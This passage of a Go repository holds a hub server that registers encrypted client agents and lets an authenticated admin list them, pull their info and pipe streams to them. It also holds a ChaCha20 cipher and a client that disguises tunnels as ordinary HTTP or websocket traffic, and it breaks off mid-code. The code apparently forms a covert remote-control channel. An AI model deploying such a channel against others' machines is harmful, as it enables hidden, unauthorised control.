paragraph 4(a), below; 52 | v. rights protecting the extraction, dissemination, use and reuse of data 53 | in a Work; 54 | vi. database rights (such as those arising under Directive 96/9/EC of the 55 | European Parliament and of the Council of 11 March 1996 on the legal 56 | protection of databases, and under any national implementation 57 | thereof, including any amended or successor version of such 58 | directive); and 59 | vii. other similar, equivalent or corresponding rights throughout the 60 | world based on applicable law or treaty, and any national 61 | implementations thereof. 62 | 63 | 2. Waiver. To the greatest extent permitted by, but not in contravention 64 | of, applicable law, Affirmer hereby overtly, fully, permanently, 65 | irrevocably and unconditionally waives, abandons, and surrenders all of 66 | Affirmer's Copyright and Related Rights and associated claims and causes 67 | of action, whether now known or unknown (including existing as well as 68 | future claims and causes of action), in the Work (i) in all territories 69 | worldwide, (ii) for the maximum duration provided by applicable law or 70 | treaty (including future time extensions), (iii) in any current or future 71 | medium and for any number of copies, and (iv) for any purpose whatsoever, 72 | including without limitation commercial, advertising or promotional 73 | purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each 74 | member of the public at large and to the detriment of Affirmer's heirs and 75 | successors, fully intending that such Waiver shall not be subject to 76 | revocation, rescission, cancellation, termination, or any other legal or 77 | equitable action to disrupt the quiet enjoyment of the Work by the public 78 | as contemplated by Affirmer's express Statement of Purpose. 79 | 80 | 3. Public License Fallback. Should any part of the Waiver for any reason 81 | be judged legally invalid or ineffective under applicable law, then the 82 | Waiver shall be preserved to the maximum extent permitted taking into 83 | account Affirmer's express Statement of Purpose. In addition, to the 84 | extent the Waiver is so judged Affirmer hereby grants to each affected 85 | person a royalty-free, non transferable, non sublicensable, non exclusive, 86 | irrevocable and unconditional license to exercise Affirmer's Copyright and 87 | Related Rights in the Work (i) in all territories worldwide, (ii) for the 88 | maximum duration provided by applicable law or treaty (including future 89 | time extensions), (iii) in any current or future medium and for any number 90 | of copies, and (iv) for any purpose whatsoever, including without 91 | limitation commercial, advertising or promotional purposes (the 92 | "License"). The License shall be deemed effective as of the date CC0 was 93 | applied by Affirmer to the Work. Should any part of the License for any 94 | reason be judged legally invalid or ineffective under applicable law, such 95 | partial invalidity or ineffectiveness shall not invalidate the remainder 96 | of the License, and in such case Affirmer hereby affirms that he or she 97 | will not (i) exercise any of his or her remaining Copyright and Related 98 | Rights in the Work or (ii) assert any associated claims and causes of 99 | action with respect to the Work, in either case contrary to Affirmer's 100 | express Statement of Purpose. 101 | 102 | 4. Limitations and Disclaimers. 103 | 104 | a. No trademark or patent rights held by Affirmer are waived, abandoned, 105 | surrendered, licensed or otherwise affected by this document. 106 | b. Affirmer offers the Work as-is and makes no representations or 107 | warranties of any kind concerning the Work, express, implied, 108 | statutory or otherwise, including without limitation warranties of 109 | title, merchantability, fitness for a particular purpose, non 110 | infringement, or the absence of latent or other defects, accuracy, or 111 | the present or absence of errors, whether or not discoverable, all to 112 | the greatest extent permissible under applicable law. 113 | c. Affirmer disclaims responsibility for clearing rights of other persons 114 | that may apply to the Work or any use thereof, including without 115 | limitation any person's Copyright and Related Rights in the Work. 116 | Further, Affirmer disclaims responsibility for obtaining any necessary 117 | consents, permissions or other rights required for any use of the 118 | Work. 119 | d. Affirmer understands and acknowledges that Creative Commons is not a 120 | party to this document and has no duty or obligation with respect to 121 | this CC0 or use of the Work. 122 | 123 | -------------------------------------------------------------------------------- /lib/base/hub.go: -------------------------------------------------------------------------------- 1 | package base 2 | 3 | import ( 4 | "net" 5 | "runtime" 6 | "crypto/rand" 7 | "crypto/rsa" 8 | 9 | kit "local/toolkit" 10 | "local/streamcoder" 11 | "lib/smux" 12 | ) 13 | 14 | 15 | type RSAPrivKey struct { 16 | Key *rsa.PrivateKey 17 | Bytes []byte // raw key 18 | KeyLen int 19 | } 20 | 21 | func newRSAPrivKeyBase64(keylen int, rawbyte []byte) (*RSAPrivKey) { 22 | key, err := kit.ParseRSAPriv(rawbyte) 23 | if err != nil { 24 | return nil 25 | } 26 | return &RSAPrivKey{ 27 | Key: key, 28 | Bytes: rawbyte, 29 | KeyLen: keylen / 8, 30 | } 31 | } 32 | 33 | type Hub struct { 34 | Proc int 35 | HubKeyTag string 36 | OnePerIP bool 37 | 38 | Pool *Pool 39 | IKeys map[string]*RSAPrivKey 40 | AKeys map[string][]byte 41 | CTags map[string]bool 42 | } 43 | 44 | func NewHub() (*Hub) { 45 | h := &Hub{ 46 | HubKeyTag: initKeyTag, 47 | Proc: 1, 48 | OnePerIP: true, 49 | Pool: NewPool(), 50 | IKeys: make(map[string]*RSAPrivKey), 51 | AKeys: make(map[string][]byte), 52 | CTags: make(map[string]bool), 53 | } 54 | 55 | h.CTags[clientAgentTag] = true 56 | 57 | return h 58 | } 59 | 60 | func NewHubM() (*Hub) { 61 | h := &Hub{ 62 | HubKeyTag: initKeyTag, 63 | Proc: runtime.NumCPU(), 64 | Pool: NewPool(), 65 | OnePerIP: true, 66 | IKeys: make(map[string]*RSAPrivKey), 67 | AKeys: make(map[string][]byte), 68 | CTags: make(map[string]bool), 69 | } 70 | 71 | h.CTags[clientAgentTag] = true 72 | 73 | return h 74 | } 75 | 76 | func (h *Hub) DefIKey(keylen int, keybyte []byte) { 77 | h.IKeys[h.HubKeyTag] = newRSAPrivKeyBase64(keylen, keybyte) 78 | } 79 | func (h *Hub) AddIKey(tag string, keylen int, keybyte []byte) { 80 | h.IKeys[tag] = newRSAPrivKeyBase64(keylen, keybyte) 81 | } 82 | 83 | func (h *Hub) DefAKey(key []byte) { 84 | h.AKeys[adminAgentTag] = key 85 | } 86 | func (h *Hub) AddAKey(tag string, key []byte) { 87 | h.AKeys[tag] = key 88 | } 89 | 90 | func (h *Hub) SetCTag(tag string) { 91 | h.CTags[tag] = true 92 | } 93 | func (h *Hub) DelCTag(tag string) { 94 | delete(h.CTags, tag) 95 | } 96 | 97 | func (h *Hub) HandleClient(p1 net.Conn) { 98 | defer func(){ 99 | kit.TrollConn(p1) 100 | }() 101 | 102 | // do handshake 103 | tag, err := kit.ReadTagStr(p1) 104 | if err != nil { 105 | Vln(3, "Read Tag err:", err) 106 | return 107 | } 108 | //Vln(2, "Tag:", len(tag), tag) 109 | 110 | // do decode 111 | privKey, ok := h.IKeys[tag] 112 | if !ok { 113 | Vln(3, "tag not found!") 114 | return 115 | } 116 | 117 | ciphertext := make([]byte, privKey.KeyLen, privKey.KeyLen) 118 | n, err := p1.Read(ciphertext) 119 | if err != nil || n != privKey.KeyLen { 120 | Vln(3, "read ciphertext err:", err, n) 121 | return 122 | } 123 | 124 | encKey, err := kit.DecRSA(privKey.Key, ciphertext) 125 | if err != nil { 126 | Vln(3, "RSA decode err:", err) 127 | return 128 | } 129 | //Vln(5, "encKey = ", encKey) 130 | 131 | // do encrypt 132 | enccon, _ := streamcoder.NewCoder(p1, encKey[0:64], encKey[64:88], false) 133 | 134 | // send nonce 135 | nonce := make([]byte, 32, 32) 136 | rand.Read(nonce) 137 | kit.WriteTagByte(enccon, nonce) 138 | 139 | // rekey 140 | pass := append(encKey[0:64], nonce...) 141 | enccon.ReKey(pass) 142 | 143 | // check agent 144 | agent, err := kit.ReadTagStr(enccon) 145 | if err != nil { 146 | Vln(3, "Read agent err:", err) 147 | return 148 | } 149 | //Vln(5, "agent:", agent) 150 | 151 | // client 152 | cok, ok := h.CTags[agent] 153 | if ok && cok { 154 | // get UUID 155 | UUID, _ := kit.ReadTagByte(enccon) 156 | 157 | // stream multiplex 158 | smuxConfig := smux.DefaultConfig() 159 | mux, err := smux.Server(enccon, smuxConfig) 160 | if err != nil { 161 | Vln(3, "mux init err", err) 162 | return 163 | } 164 | 165 | // add to pool 166 | uuidStr := kit.Hex(UUID) 167 | addr := p1.RemoteAddr().String() 168 | peer := NewPeer(p1, mux, UUID) 169 | 170 | if h.OnePerIP { 171 | // get old clients & send signal 172 | oldlist := h.Pool.CheckOld(UUID, addr) 173 | // Vf(3, "[client][oldlist]%v\n", len(oldlist)) 174 | for _, peer := range oldlist { 175 | 176 | go func(item *Peer) { 177 | // Vf(3, "[client][old peer]%v\n", item.id, item) 178 | p1, err := item.Mux.OpenStream() 179 | if err != nil { 180 | return 181 | } 182 | defer p1.Close() 183 | Vf(3, "[client][old peer]kill %v\n", item.id) 184 | kit.WriteTagStr(p1, B_kill) 185 | }(peer) 186 | 187 | } 188 | } 189 | 190 | id, ok := h.Pool.AddPear(peer) 191 | if !ok { 192 | Vf(2, "[client][new][same ID & Addr]%v %v %v %v %v\n", id, uuidStr, addr, agent, peer) 193 | return 194 | } 195 | Vf(2, "[client][new]%v %v %v %v %v\n", id, uuidStr, addr, agent, peer) 196 | 197 | // hack for OnClose 198 | for { 199 | // TODO: random pull info 200 | _, err := mux.AcceptStream() 201 | if err != nil { 202 | mux.Close() 203 | p1.Close() 204 | Vf(2, "[client][cls]%v %v %v %v\n", id, uuidStr, addr, peer) 205 | h.Pool.DelPear(id) 206 | break 207 | } 208 | } 209 | } 210 | 211 | // admin 212 | aKey, ok := h.AKeys[agent] 213 | if ok { 214 | // check Signature 215 | signature, _ := kit.ReadTagByte(enccon) 216 | hashed := kit.HashBytes256(pass) 217 | ok = kit.VerifyECDSA(aKey, hashed, signature) 218 | if !ok { 219 | Vln(5, "agent Verify error!", agent) 220 | return 221 | } 222 | 223 | // ACK 224 | kit.WriteTagStr(enccon, agent) 225 | 226 | // stream multiplex 227 | smuxConfig := smux.DefaultConfig() 228 | mux, err := smux.Server(enccon, smuxConfig) 229 | if err != nil { 230 | Vln(3, "mux init err", err) 231 | return 232 | } 233 | 234 | h.doREPL(mux) 235 | } 236 | 237 | return 238 | } 239 | 240 | func (h *Hub) doREPL(mux *smux.Session) { 241 | Vln(3, "[admin]connect start") 242 | for { 243 | p1, err := mux.AcceptStream() 244 | if err != nil { 245 | mux.Close() 246 | break 247 | } 248 | 249 | go h.doOP(p1) 250 | } 251 | Vln(3, "[admin]connect end") 252 | } 253 | 254 | func (h *Hub) doOP(p1 net.Conn) { 255 | // read OP 256 | op, err := kit.ReadTagStr(p1) 257 | if err != nil { 258 | Vln(3, "Read OP err:", err) 259 | p1.Close() 260 | } 261 | defer p1.Close() 262 | 263 | switch op { 264 | case H_ls: 265 | // list all 266 | h.Pool.WriteListTo(p1) 267 | 268 | case H_fetch: 269 | // pull select 270 | item, ok := doSelect(p1, h.Pool) 271 | if !ok { 272 | return 273 | } 274 | 275 | // force pull info 276 | conn, err := item.Mux.OpenStream() 277 | if err != nil { 278 | return 279 | } 280 | defer conn.Close() 281 | 282 | // op to client 283 | kit.WriteTagStr(conn, B_info) 284 | ret64, err := kit.ReadVLen(conn) 285 | if err != nil || int(ret64) != 0 { 286 | Vln(2, "[pull]err", ret64, err) 287 | kit.WriteVLen(p1, int64(-1)) // ret 288 | return 289 | } 290 | 291 | newinfo := NewInfo() 292 | n, err := newinfo.ReadFrom(conn) 293 | if err != nil { 294 | kit.WriteVLen(p1, int64(-1)) // ret 295 | return 296 | } 297 | item.Info = newinfo 298 | Vln(3, "[pull]Info:", n, item.Info) 299 | 300 | // ret 301 | kit.WriteVLen(p1, int64(0)) 302 | 303 | case H_sync: 304 | // pull select 305 | item, ok := doSelect(p1, h.Pool) 306 | if !ok { 307 | return 308 | } 309 | kit.WriteVLen(p1, int64(0)) 310 | 311 | item.Info.WriteTo(p1) 312 | 313 | case H_select: 314 | // select & send 315 | item, ok := doSelect(p1, h.Pool) 316 | if !ok { 317 | kit.WriteVLen(p1, int64(-1)) // ret 318 | return 319 | } 320 | 321 | // pipe client & admin 322 | conn, err := item.Mux.OpenStream() 323 | if err != nil { 324 | return 325 | } 326 | defer conn.Close() 327 | kit.Cp(conn, p1) 328 | 329 | } 330 | } 331 | 332 | func doSelect(p1 net.Conn, pool *Pool) (item *Peer, ok bool) { 333 | id, err := kit.ReadTagStr(p1) 334 | if err != nil { 335 | Vln(3, "Read ID err:", err) 336 | return nil, false 337 | } 338 | 339 | item, ok = pool.GetByUTag(id) 340 | if !ok { 341 | kit.WriteVLen(p1, int64(-1)) 342 | return 343 | } 344 | 345 | return 346 | } 347 | 348 | -------------------------------------------------------------------------------- /lib/chacha20/chacha20.go: -------------------------------------------------------------------------------- 1 | // chacha20.go - A ChaCha stream cipher implementation. 2 | // 3 | // To the extent possible under law, Yawning Angel has waived all copyright 4 | // and related or neighboring rights to chacha20, using the Creative 5 | // Commons "CC0" public domain dedication. See LICENSE or 6 | // for full details. 7 | 8 | package chacha20 9 | 10 | import ( 11 | "crypto/cipher" 12 | "encoding/binary" 13 | "errors" 14 | "math" 15 | "runtime" 16 | ) 17 | 18 | const ( 19 | // KeySize is the ChaCha20 key size in bytes. 20 | KeySize = 32 21 | 22 | // NonceSize is the ChaCha20 nonce size in bytes. 23 | NonceSize = 8 24 | 25 | // INonceSize is the IETF ChaCha20 nonce size in bytes. 26 | INonceSize = 12 27 | 28 | // XNonceSize is the XChaCha20 nonce size in bytes. 29 | XNonceSize = 24 30 | 31 | // HNonceSize is the HChaCha20 nonce size in bytes. 32 | HNonceSize = 16 33 | 34 | // BlockSize is the ChaCha20 block size in bytes. 35 | BlockSize = 64 36 | 37 | stateSize = 16 38 | chachaRounds = 20 39 | 40 | // The constant "expand 32-byte k" as little endian uint32s. 41 | sigma0 = uint32(0x61707865) 42 | sigma1 = uint32(0x3320646e) 43 | sigma2 = uint32(0x79622d32) 44 | sigma3 = uint32(0x6b206574) 45 | ) 46 | 47 | var ( 48 | // ErrInvalidKey is the error returned when the key is invalid. 49 | ErrInvalidKey = errors.New("key length must be KeySize bytes") 50 | 51 | // ErrInvalidNonce is the error returned when the nonce is invalid. 52 | ErrInvalidNonce = errors.New("nonce length must be NonceSize/INonceSize/XNonceSize bytes") 53 | 54 | // ErrInvalidCounter is the error returned when the counter is invalid. 55 | ErrInvalidCounter = errors.New("block counter is invalid (out of range)") 56 | 57 | useUnsafe = false 58 | usingVectors = false 59 | blocksFn = blocksRef 60 | ) 61 | 62 | // A Cipher is an instance of ChaCha20/XChaCha20 using a particular key and 63 | // nonce. 64 | type Cipher struct { 65 | state [stateSize]uint32 66 | 67 | buf [BlockSize]byte 68 | off int 69 | ietf bool 70 | } 71 | 72 | // Reset zeros the key data so that it will no longer appear in the process's 73 | // memory. 74 | func (c *Cipher) Reset() { 75 | for i := range c.state { 76 | c.state[i] = 0 77 | } 78 | for i := range c.buf { 79 | c.buf[i] = 0 80 | } 81 | } 82 | 83 | // XORKeyStream sets dst to the result of XORing src with the key stream. Dst 84 | // and src may be the same slice but otherwise should not overlap. 85 | func (c *Cipher) XORKeyStream(dst, src []byte) { 86 | if len(dst) < len(src) { 87 | src = src[:len(dst)] 88 | } 89 | 90 | for remaining := len(src); remaining > 0; { 91 | // Process multiple blocks at once. 92 | if c.off == BlockSize { 93 | nrBlocks := remaining / BlockSize 94 | directBytes := nrBlocks * BlockSize 95 | if nrBlocks > 0 { 96 | blocksFn(&c.state, src, dst, nrBlocks, c.ietf) 97 | remaining -= directBytes 98 | if remaining == 0 { 99 | return 100 | } 101 | dst = dst[directBytes:] 102 | src = src[directBytes:] 103 | } 104 | 105 | // If there's a partial block, generate 1 block of keystream into 106 | // the internal buffer. 107 | blocksFn(&c.state, nil, c.buf[:], 1, c.ietf) 108 | c.off = 0 109 | } 110 | 111 | // Process partial blocks from the buffered keystream. 112 | toXor := BlockSize - c.off 113 | if remaining < toXor { 114 | toXor = remaining 115 | } 116 | if toXor > 0 { 117 | for i, v := range src[:toXor] { 118 | dst[i] = v ^ c.buf[c.off+i] 119 | } 120 | dst = dst[toXor:] 121 | src = src[toXor:] 122 | 123 | remaining -= toXor 124 | c.off += toXor 125 | } 126 | } 127 | } 128 | 129 | // KeyStream sets dst to the raw keystream. 130 | func (c *Cipher) KeyStream(dst []byte) { 131 | for remaining := len(dst); remaining > 0; { 132 | // Process multiple blocks at once. 133 | if c.off == BlockSize { 134 | nrBlocks := remaining / BlockSize 135 | directBytes := nrBlocks * BlockSize 136 | if nrBlocks > 0 { 137 | blocksFn(&c.state, nil, dst, nrBlocks, c.ietf) 138 | remaining -= directBytes 139 | if remaining == 0 { 140 | return 141 | } 142 | dst = dst[directBytes:] 143 | } 144 | 145 | // If there's a partial block, generate 1 block of keystream into 146 | // the internal buffer. 147 | blocksFn(&c.state, nil, c.buf[:], 1, c.ietf) 148 | c.off = 0 149 | } 150 | 151 | // Process partial blocks from the buffered keystream. 152 | toCopy := BlockSize - c.off 153 | if remaining < toCopy { 154 | toCopy = remaining 155 | } 156 | if toCopy > 0 { 157 | copy(dst[:toCopy], c.buf[c.off:c.off+toCopy]) 158 | dst = dst[toCopy:] 159 | remaining -= toCopy 160 | c.off += toCopy 161 | } 162 | } 163 | } 164 | 165 | // ReKey reinitializes the ChaCha20/XChaCha20 instance with the provided key 166 | // and nonce. 167 | func (c *Cipher) ReKey(key, nonce []byte) error { 168 | if len(key) != KeySize { 169 | return ErrInvalidKey 170 | } 171 | 172 | switch len(nonce) { 173 | case NonceSize: 174 | case INonceSize: 175 | case XNonceSize: 176 | var subkey [KeySize]byte 177 | var subnonce [HNonceSize]byte 178 | copy(subnonce[:], nonce[0:16]) 179 | HChaCha(key, &subnonce, &subkey) 180 | key = subkey[:] 181 | nonce = nonce[16:24] 182 | defer func() { 183 | for i := range subkey { 184 | subkey[i] = 0 185 | } 186 | }() 187 | default: 188 | return ErrInvalidNonce 189 | } 190 | 191 | c.Reset() 192 | c.state[0] = sigma0 193 | c.state[1] = sigma1 194 | c.state[2] = sigma2 195 | c.state[3] = sigma3 196 | c.state[4] = binary.LittleEndian.Uint32(key[0:4]) 197 | c.state[5] = binary.LittleEndian.Uint32(key[4:8]) 198 | c.state[6] = binary.LittleEndian.Uint32(key[8:12]) 199 | c.state[7] = binary.LittleEndian.Uint32(key[12:16]) 200 | c.state[8] = binary.LittleEndian.Uint32(key[16:20]) 201 | c.state[9] = binary.LittleEndian.Uint32(key[20:24]) 202 | c.state[10] = binary.LittleEndian.Uint32(key[24:28]) 203 | c.state[11] = binary.LittleEndian.Uint32(key[28:32]) 204 | c.state[12] = 0 205 | if len(nonce) == INonceSize { 206 | c.state[13] = binary.LittleEndian.Uint32(nonce[0:4]) 207 | c.state[14] = binary.LittleEndian.Uint32(nonce[4:8]) 208 | c.state[15] = binary.LittleEndian.Uint32(nonce[8:12]) 209 | c.ietf = true 210 | } else { 211 | c.state[13] = 0 212 | c.state[14] = binary.LittleEndian.Uint32(nonce[0:4]) 213 | c.state[15] = binary.LittleEndian.Uint32(nonce[4:8]) 214 | c.ietf = false 215 | } 216 | c.off = BlockSize 217 | return nil 218 | 219 | } 220 | 221 | // Seek sets the block counter to a given offset. 222 | func (c *Cipher) Seek(blockCounter uint64) error { 223 | if c.ietf { 224 | if blockCounter > math.MaxUint32 { 225 | return ErrInvalidCounter 226 | } 227 | c.state[12] = uint32(blockCounter) 228 | } else { 229 | c.state[12] = uint32(blockCounter) 230 | c.state[13] = uint32(blockCounter >> 32) 231 | } 232 | c.off = BlockSize 233 | return nil 234 | } 235 | 236 | // NewCipher returns a new ChaCha20/XChaCha20 instance. 237 | func NewCipher(key, nonce []byte) (*Cipher, error) { 238 | c := new(Cipher) 239 | if err := c.ReKey(key, nonce); err != nil { 240 | return nil, err 241 | } 242 | return c, nil 243 | } 244 | 245 | // HChaCha is the HChaCha20 hash function used to make XChaCha. 246 | func HChaCha(key []byte, nonce *[HNonceSize]byte, out *[32]byte) { 247 | var x [stateSize]uint32 // Last 4 slots unused, sigma hardcoded. 248 | x[0] = binary.LittleEndian.Uint32(key[0:4]) 249 | x[1] = binary.LittleEndian.Uint32(key[4:8]) 250 | x[2] = binary.LittleEndian.Uint32(key[8:12]) 251 | x[3] = binary.LittleEndian.Uint32(key[12:16]) 252 | x[4] = binary.LittleEndian.Uint32(key[16:20]) 253 | x[5] = binary.LittleEndian.Uint32(key[20:24]) 254 | x[6] = binary.LittleEndian.Uint32(key[24:28]) 255 | x[7] = binary.LittleEndian.Uint32(key[28:32]) 256 | x[8] = binary.LittleEndian.Uint32(nonce[0:4]) 257 | x[9] = binary.LittleEndian.Uint32(nonce[4:8]) 258 | x[10] = binary.LittleEndian.Uint32(nonce[8:12]) 259 | x[11] = binary.LittleEndian.Uint32(nonce[12:16]) 260 | hChaChaRef(&x, out) 261 | } 262 | 263 | func init() { 264 | switch runtime.GOARCH { 265 | case "386", "amd64": 266 | // Abuse unsafe to skip calling binary.LittleEndian.PutUint32 267 | // in the critical path. This is a big boost on systems that are 268 | // little endian and not overly picky about alignment. 269 | useUnsafe = true 270 | } 271 | } 272 | 273 | var _ cipher.Stream = (*Cipher)(nil) 274 | -------------------------------------------------------------------------------- /lib/fakehttp/httpc.go: -------------------------------------------------------------------------------- 1 | package fakehttp 2 | 3 | import ( 4 | "bufio" 5 | "errors" 6 | "net" 7 | "net/http" 8 | "io/ioutil" 9 | "time" 10 | ) 11 | 12 | var ( 13 | ErrNotServer = errors.New("may not tunnel server") 14 | ErrTokenTimeout = errors.New("token may timeout") 15 | ) 16 | 17 | type NetDialer interface { 18 | GetProto() (string) 19 | Do(req *http.Request, timeout time.Duration) (*http.Response, error) // http.Client 20 | DialTimeout(host string, timeout time.Duration) (net.Conn, error) // net.DialTimeout("tcp", Host, Timeout) 21 | } 22 | 23 | type dialNonTLS Client 24 | func (dl dialNonTLS) GetProto() (string) { 25 | return "http://" 26 | } 27 | func (dl dialNonTLS) Do(req *http.Request, timeout time.Duration) (*http.Response, error) { 28 | client := &http.Client{ 29 | Timeout: timeout, 30 | } 31 | return client.Do(req) 32 | } 33 | func (dl dialNonTLS) DialTimeout(host string, timeout time.Duration) (net.Conn, error) { 34 | return net.DialTimeout("tcp", host, timeout) 35 | } 36 | 37 | type Client struct { 38 | TxMethod string 39 | RxMethod string 40 | TxFlag string 41 | RxFlag string 42 | TokenCookieA string 43 | TokenCookieB string 44 | TokenCookieC string 45 | UserAgent string 46 | Url string 47 | Timeout time.Duration 48 | Host string 49 | UseWs bool 50 | 51 | Dialer NetDialer 52 | } 53 | 54 | func (cl *Client) getURL() (string) { 55 | url := cl.Host + cl.Url 56 | return cl.Dialer.GetProto() + url 57 | } 58 | 59 | func (cl *Client) getToken() (string, error) { 60 | req, err := http.NewRequest("GET", cl.getURL(), nil) 61 | if err != nil { 62 | Vlogln(2, "getToken() NewRequest err:", err) 63 | return "", err 64 | } 65 | 66 | req.Header.Set("User-Agent", cl.UserAgent) 67 | res, err := cl.Dialer.Do(req, cl.Timeout) 68 | if err != nil { 69 | Vlogln(2, "getToken() send Request err:", err) 70 | return "", err 71 | } 72 | defer res.Body.Close() 73 | 74 | _, err = ioutil.ReadAll(res.Body) 75 | if err != nil { 76 | Vlogln(2, "getToken() ReadAll err:", err) 77 | } 78 | 79 | Vlogln(3, "getToken() http version:", res.Proto) 80 | 81 | return cl.checkToken(res) 82 | } 83 | 84 | func (cl *Client) checkToken(res *http.Response) (string, error) { 85 | cookies := res.Cookies() 86 | Vlogln(3, "checkToken()", cookies) 87 | 88 | for _, cookie := range cookies { 89 | Vlogln(4, "cookie:", cookie.Name, cookie.Value) 90 | if cookie.Name == cl.TokenCookieA { 91 | return cookie.Value, nil 92 | } 93 | } 94 | 95 | return "", ErrNotServer 96 | } 97 | 98 | func (cl *Client) getTx(token string) (net.Conn, []byte, error) { //io.WriteCloser 99 | 100 | req, err := http.NewRequest(cl.TxMethod, cl.getURL(), nil) 101 | if err != nil { 102 | Vlogln(2, "getTx() NewRequest err:", err) 103 | return nil, nil, err 104 | } 105 | 106 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded") 107 | req.Header.Set("Content-Encoding", "gzip") 108 | req.Header.Set("Pragma", "no-cache") 109 | req.Header.Set("Cache-Control", "private, no-store, no-cache, max-age=0") 110 | req.Header.Set("User-Agent", cl.UserAgent) 111 | req.Header.Set("Cookie", cl.TokenCookieB + "=" + token + "; " + cl.TokenCookieC + "=" + cl.TxFlag) 112 | 113 | tx, err := cl.Dialer.DialTimeout(cl.Host, cl.Timeout) 114 | if err != nil { 115 | Vlogln(2, "Tx connect to:", cl.Host, err) 116 | return nil, nil, err 117 | } 118 | 119 | Vlogln(3, "Tx connect ok:", cl.Host) 120 | req.Write(tx) 121 | 122 | txbuf := bufio.NewReaderSize(tx, 1024) 123 | // Vlogln(2, "Tx Reader", txbuf) 124 | res, err := http.ReadResponse(txbuf, req) 125 | if err != nil { 126 | Vlogln(2, "Tx ReadResponse", err, res) 127 | tx.Close() 128 | return nil, nil, err 129 | } 130 | Vlogln(3, "Tx http version:", res.Proto) 131 | 132 | _, err = cl.checkToken(res) 133 | if err == nil { 134 | tx.Close() 135 | return nil, nil, ErrTokenTimeout 136 | } 137 | 138 | n := txbuf.Buffered() 139 | Vlogln(3, "Tx Response", n) 140 | 141 | return tx, nil, nil 142 | } 143 | 144 | func (cl *Client) getRx(token string) (net.Conn, []byte, error) { //io.ReadCloser 145 | 146 | req, err := http.NewRequest(cl.RxMethod, cl.getURL(), nil) 147 | if err != nil { 148 | Vlogln(2, "getRx() NewRequest err:", err) 149 | return nil, nil, err 150 | } 151 | 152 | req.Header.Set("Pragma", "no-cache") 153 | req.Header.Set("Cache-Control", "private, no-store, no-cache, max-age=0") 154 | req.Header.Set("User-Agent", cl.UserAgent) 155 | req.Header.Set("Cookie", cl.TokenCookieB + "=" + token + "; " + cl.TokenCookieC + "=" + cl.RxFlag) 156 | 157 | 158 | rx, err := cl.Dialer.DialTimeout(cl.Host, cl.Timeout) 159 | if err != nil { 160 | Vlogln(2, "Rx connect to:", cl.Host, err) 161 | return nil, nil, err 162 | } 163 | Vlogln(3, "Rx connect ok:", cl.Host) 164 | req.Write(rx) 165 | 166 | rxbuf := bufio.NewReaderSize(rx, 1024) 167 | // Vlogln(2, "Rx Reader", rxbuf) 168 | res, err := http.ReadResponse(rxbuf, req) 169 | if err != nil { 170 | Vlogln(2, "Rx ReadResponse", err, res, rxbuf) 171 | rx.Close() 172 | return nil, nil, err 173 | } 174 | Vlogln(3, "Rx http version:", res.Proto) 175 | 176 | _, err = cl.checkToken(res) 177 | if err == nil { 178 | rx.Close() 179 | return nil, nil, ErrTokenTimeout 180 | } 181 | 182 | n := rxbuf.Buffered() 183 | Vlogln(3, "Rx Response", n) 184 | if n > 0 { 185 | buf := make([]byte, n) 186 | rxbuf.Read(buf[:n]) 187 | return rx, buf[:n], nil 188 | } else { 189 | return rx, nil, nil 190 | } 191 | } 192 | 193 | 194 | func NewClient(target string) (*Client) { 195 | cl := &Client { 196 | TxMethod: txMethod, 197 | RxMethod: rxMethod, 198 | TxFlag: txFlag, 199 | RxFlag: rxFlag, 200 | TokenCookieA: tokenCookieA, 201 | TokenCookieB: tokenCookieB, 202 | TokenCookieC: tokenCookieC, 203 | UserAgent: userAgent, 204 | Url: targetUrl, 205 | Timeout: timeout, 206 | Host: target, 207 | UseWs: false, 208 | } 209 | cl.Dialer = dialNonTLS(*cl) 210 | return cl 211 | } 212 | 213 | func Dial(target string) (net.Conn, error) { 214 | cl := NewClient(target) 215 | return cl.Dial() 216 | } 217 | 218 | func (cl *Client) Dial() (net.Conn, error) { 219 | token, err := cl.getToken() 220 | if token == "" || err != nil { 221 | return nil, err 222 | } 223 | Vlogln(2, "token:", token) 224 | 225 | if cl.UseWs { 226 | return cl.dialWs(token) 227 | } 228 | 229 | return cl.dialNonWs(token) 230 | } 231 | 232 | func (cl *Client) dialWs(token string) (net.Conn, error) { 233 | req, err := http.NewRequest(cl.RxMethod, cl.getURL(), nil) 234 | if err != nil { 235 | Vlogln(2, "dialWs() NewRequest err:", err) 236 | return nil, err 237 | } 238 | 239 | req.Header.Set("Pragma", "no-cache") 240 | req.Header.Set("Cache-Control", "private, no-store, no-cache, max-age=0") 241 | req.Header.Set("User-Agent", cl.UserAgent) 242 | req.Header.Set("Cookie", cl.TokenCookieB + "=" + token + "; " + cl.TokenCookieC + "=" + cl.RxFlag) 243 | req.Header.Set("Connection", "Upgrade") 244 | req.Header.Set("Upgrade", "websocket") 245 | req.Header.Set("Sec-WebSocket-Key", token) 246 | req.Header.Set("Sec-WebSocket-Version", "13") 247 | 248 | rx, err := cl.Dialer.DialTimeout(cl.Host, cl.Timeout) 249 | if err != nil { 250 | Vlogln(2, "WS connect to:", cl.Host, err) 251 | return nil, err 252 | } 253 | Vlogln(3, "WS connect ok:", cl.Host) 254 | req.Write(rx) 255 | 256 | rxbuf := bufio.NewReaderSize(rx, 1024) 257 | // Vlogln(2, "Rx Reader", rxbuf) 258 | res, err := http.ReadResponse(rxbuf, req) 259 | if err != nil { 260 | Vlogln(2, "WS ReadResponse", err, res, rxbuf) 261 | rx.Close() 262 | return nil, err 263 | } 264 | Vlogln(3, "WS http version:", res.Proto) 265 | 266 | _, err = cl.checkToken(res) 267 | if err == nil { 268 | rx.Close() 269 | return nil, ErrTokenTimeout 270 | } 271 | 272 | n := rxbuf.Buffered() 273 | Vlogln(3, "WS Response", n) 274 | if n > 0 { 275 | buf := make([]byte, n) 276 | rxbuf.Read(buf[:n]) 277 | return mkconn(rx, rx, buf[:n]), nil 278 | } 279 | 280 | return rx, nil 281 | } 282 | 283 | func (cl *Client) dialNonWs(token string) (net.Conn, error) { 284 | type ret struct { 285 | conn net.Conn 286 | buf []byte 287 | err error 288 | } 289 | txRetCh := make(chan ret, 1) 290 | rxRetCh := make(chan ret, 1) 291 | 292 | go func () { 293 | tx, _, err := cl.getTx(token) 294 | Vlogln(4, "tx:", tx) 295 | txRetCh <- ret{tx, nil, err} 296 | }() 297 | go func () { 298 | rx, rxbuf, err := cl.getRx(token) 299 | Vlogln(4, "rx:", rx, rxbuf) 300 | rxRetCh <- ret{rx, rxbuf, err} 301 | }() 302 | 303 | txRet := <-txRetCh 304 | tx, _, txErr := txRet.conn, txRet.buf, txRet.err 305 | 306 